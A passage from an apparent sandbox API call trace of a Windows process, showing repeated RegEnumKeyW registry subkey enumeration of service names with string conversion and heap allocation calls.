cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0259.791] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0259.791] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adp94xx", cchWideChar=7, lpMultiByteStr=0x21f1d60, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adp94xx", lpUsedDefaultChar=0x0) returned 7 [0259.791] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0259.791] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0259.791] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0259.791] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.791] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc, lpName=0x2152850, cchName=0x104 | out: lpName="adpahci") returned 0x0 [0259.791] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.791] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpahci", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0259.791] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0259.791] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpahci", cchWideChar=7, lpMultiByteStr=0x21f1ad8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adpahci", lpUsedDefaultChar=0x0) returned 7 [0259.791] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0259.791] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0259.791] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0259.791] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.792] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xd, lpName=0x2152850, cchName=0x104 | out: lpName="adpu320") returned 0x0 [0259.792] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.792] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpu320", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0259.792] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0259.792] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpu320", cchWideChar=7, lpMultiByteStr=0x21f1d60, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adpu320", lpUsedDefaultChar=0x0) returned 7 [0259.792] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0259.792] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0259.792] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0259.792] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.792] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xe, lpName=0x2152850, cchName=0x104 | out: lpName="adsi") returned 0x0 [0259.792] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.792] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adsi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0259.792] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0259.792] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adsi", cchWideChar=4, lpMultiByteStr=0x21f1ad8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adsi", lpUsedDefaultChar=0x0) returned 4 [0259.792] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0259.792] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0259.792] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0259.792] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.792] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xf, lpName=0x2152850, cchName=0x104 | out: lpName="AeLookupSvc") returned 0x0 [0259.792] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.792] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0259.792] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0259.792] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x21f1d60, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aelookupsvc", lpUsedDefaultChar=0x0) returned 11 [0259.792] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0259.792] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0259.792] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0259.792] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.792] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x10, lpName=0x2152850, cchName=0x104 | out: lpName="AFD") returned 0x0 [0259.792] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.792] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afd", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0259.792] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0259.792] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afd", cchWideChar=3, lpMultiByteStr=0x21f1ad8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="afd", lpUsedDefaultChar=0x0) returned 3 [0259.793] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0259.793] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0259.793] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0259.793] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.793] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x11, lpName=0x2152850, cchName=0x104 | out: lpName="agp440") returned 0x0 [0259.793] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.793] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="agp440", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0259.793] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0259.793] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="agp440", cchWideChar=6, lpMultiByteStr=0x21f1d60, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="agp440", lpUsedDefaultChar=0x0) returned 6 [0259.793] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0259.793] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0259.793] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0259.793] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.793] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x12, lpName=0x2152850, cchName=0x104 | out: lpName="ALG") returned 0x0 [0259.793] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.793] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0259.793] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0259.793] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x21f1ad8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="alg", lpUsedDefaultChar=0x0) returned 3 [0259.793] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0259.793] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0259.793] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0259.793] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.793] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x13, lpName=0x2152850, cchName=0x104 | out: lpName="aliide") returned 0x0 [0259.793] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.793] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aliide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0259.793] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0259.793] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aliide", cchWideChar=6, lpMultiByteStr=0x21f1d60, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aliide", lpUsedDefaultChar=0x0) returned 6 [0259.793] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0259.793] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0259.793] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0259.793] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.793] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x14, lpName=0x2152850, cchName=0x104 | out: lpName="amdide") returned 0x0 [0259.793] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.794] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0259.794] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0259.794] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdide", cchWideChar=6, lpMultiByteStr=0x21f1ad8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdide", lpUsedDefaultChar=0x0) returned 6 [0259.794] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0259.794] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0259.794] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0259.794] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.794] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x15, lpName=0x2152850, cchName=0x104 | out: lpName="AmdK8") returned 0x0 [0259.794] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.794] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdk8", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0259.794] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0259.794] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdk8", cchWideChar=5, lpMultiByteStr=0x21f1d60, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdk8", lpUsedDefaultChar=0x0) returned 5 [0259.794] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0259.794] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0259.794] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0259.794] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.794] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x16, lpName=0x2152850, cchName=0x104 | out: lpName="AmdPPM") returned 0x0 [0259.794] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.794] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdppm", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0259.794] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0259.794] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdppm", cchWideChar=6, lpMultiByteStr=0x21f1ad8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdppm", lpUsedDefaultChar=0x0) returned 6 [0259.794] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0259.794] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0259.794] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0259.794] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.794] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x17, lpName=0x2152850, cchName=0x104 | out: lpName="amdsata") returned 0x0 [0259.794] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.794] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsata", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0259.794] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0259.794] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsata", cchWideChar=7, lpMultiByteStr=0x21f1d60, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdsata", lpUsedDefaultChar=0x0) returned 7 [0259.794] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0259.794] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0259.794] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0259.795] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.795] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x18, lpName=0x2152850, cchName=0x104 | out: lpName="amdsbs") returned 0x0 [0259.795] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.795] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsbs", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0259.795] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0259.795] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsbs", cchWideChar=6, lpMultiByteStr=0x21f1ad8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdsbs", lpUsedDefaultChar=0x0) returned 6 [0259.795] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0259.795] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0259.795] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0259.795] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.795] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x19, lpName=0x2152850, cchName=0x104 | out: lpName="amdxata") returned 0x0 [0259.795] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.795] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdxata", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0259.795] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0259.795] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdxata", cchWideChar=7, lpMultiByteStr=0x21f1d60, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdxata", lpUsedDefaultChar=0x0) returned 7 [0259.795] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0259.795] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0259.795] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0259.795] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.795] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1a, lpName=0x2152850, cchName=0x104 | out: lpName="AppID") returned 0x0 [0259.795] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.795] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appid", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0259.795] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0259.795] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appid", cchWideChar=5, lpMultiByteStr=0x21f1ad8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appid", lpUsedDefaultChar=0x0) returned 5 [0259.795] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0259.795] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0259.795] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0259.795] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.795] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1b, lpName=0x2152850, cchName=0x104 | out: lpName="AppIDSvc") returned 0x0 [0259.795] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.795] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0259.795] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0259.796] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x21f1d60, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appidsvc", lpUsedDefaultChar=0x0) returned 8 [0259.796] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0259.796] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0259.796] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0259.796] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.796] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1c, lpName=0x2152850, cchName=0x104 | out: lpName="Appinfo") returned 0x0 [0259.796] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.796] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0259.796] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0259.796] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x21f1ad8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appinfo", lpUsedDefaultChar=0x0) returned 7 [0259.796] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0259.796] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0259.796] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0259.796] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.796] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1d, lpName=0x2152850, cchName=0x104 | out: lpName="AppMgmt") returned 0x0 [0259.796] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.796] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0259.796] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0259.796] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x21f1d60, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appmgmt", lpUsedDefaultChar=0x0) returned 7 [0259.796] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0259.796] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0259.796] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0259.796] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.796] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1e, lpName=0x2152850, cchName=0x104 | out: lpName="arc") returned 0x0 [0259.796] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.796] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arc", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0259.796] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0259.796] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arc", cchWideChar=3, lpMultiByteStr=0x21f1ad8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="arc", lpUsedDefaultChar=0x0) returned 3 [0259.796] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0259.796] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0259.796] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0259.797] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.797] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1f, lpName=0x2152850, cchName=0x104 | out: lpName="arcsas") returned 0x0 [0259.797] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.797] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arcsas", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0259.797] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0259.797] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arcsas", cchWideChar=6, lpMultiByteStr=0x21f1d60, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="arcsas", lpUsedDefaultChar=0x0) returned 6 [0259.797] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0259.797] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0259.797] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0259.797] 